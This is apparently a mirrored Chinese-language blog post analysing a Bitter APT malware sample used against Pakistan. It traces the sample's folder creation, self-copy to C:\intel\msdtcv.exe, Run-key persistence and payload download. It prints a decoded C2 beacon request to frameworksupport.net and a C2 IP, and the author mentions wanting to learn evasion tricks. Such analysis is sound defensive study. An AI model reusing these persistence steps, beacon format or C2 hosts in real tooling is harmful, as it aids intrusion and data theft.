蔓灵花APT组织针对巴基斯坦定向攻击的样本分析
source link: https://www.ascotbe.com/2021/05/18/SampleAnalysis/0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
开个新坑,学习下样本分析看看有什么好的免杀技术能够让我整合的,第一篇文章就参考Crazyman师傅写文章的和网上各个沙箱的已有的内容
先在前面放几个经常用到的文档和x64gdb相关插件
CSIDL values
https://tarma.com/support/im9/using/symbols/functions/csidls.htm
https://www.nirsoft.net/articles/find_special_folder_location.html
https://docs.microsoft.com/en-us/windows/win32/shell/csidl
本文对样本静态和动态同步分析,样本拿来先丢到pestudio中看下数据,结果在里面看到了PDB的路径
接着丢IDA中分析,首先找到WinMain函数,可以看到第9行有一个自定义函数sub_401140
进入函数sub_401140可以看到就是一个注册窗口相关的,该函数第7行的sub_4011D0是用来处理窗口的
sub_4011D0内容如下
接着我们回到WinMain函数,从第9行到第17行的内容看截图的注释就能明白了,我们重点看sub_401330函数,进入函数中看到281行和282行创建了c:\\intel\\
路径
接着往下看
在332行中有个sub_403B00函数,函数大概的意思就是还是创建一个文件夹,下图是该函数的有用的内容
339行的sub_401F00是一个注册列表函数,我们进到函数里面中分析
接着动态调试到这个点时,看注册列表内容
我们回到调用函数中继续跟
接着到355行可以看到下图的动态调试结果,是打开了开机运行值中
然后356行创建了一个多线程,运行的函数为StartAddress
,我们进入到该函数中查看,函数内容如下图
可以看到是想从系统环境变量模块中获取到ComSpec
的值,我们动态调试解出来是为C:\\WINDOWS\\system32\\cmd.exe
然后我们找一台正常的机器来看看是否是都是这个值
接着调试,可以看到其实是做了一个copy自身到C:\\intel\\msdtcv.exe
位置,下图可以看到内容结果
我们接着看到火绒剑,可以看到CMD进行读写操作
然后我们接着跟进到360行的sub_404670
中,可以看到就这写入开机启动项
接着往下看366行开始到412行都是获取系统相关内容
接着跟到469行sub_402BA0
函数为下载核心函数,由于服务器已经关了,无法动态分析,大概的内容就是下载函数到C:\Users\ascotbe\AppData\Local\Microsoft\Windows
目录然后执行该函数
由于不能分析返回以后的功能,那么我们回到423行,进入函数sub_402890
分析请求了什么东西
动态调试可以看到下图,微步获取到的ip为162.222.215.90和我获取到的不同,该进程应该是有个IP池(猜测),如果获取不到,就会换一个IP来请求
通过解码得到如下内容
GET /ourtyaz/qwe.php?TIe=4fc5fce9.8958.5:68.b76:.df147:ee9526*EFTLUPQ.V:OIKG8*22ACme;!7/3/:311! HTTP/1.1
Host: frameworksupport.net
Connection: close
那么分析就结束了,踩了好多坑,但是学到了挺多的东西很开心~
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK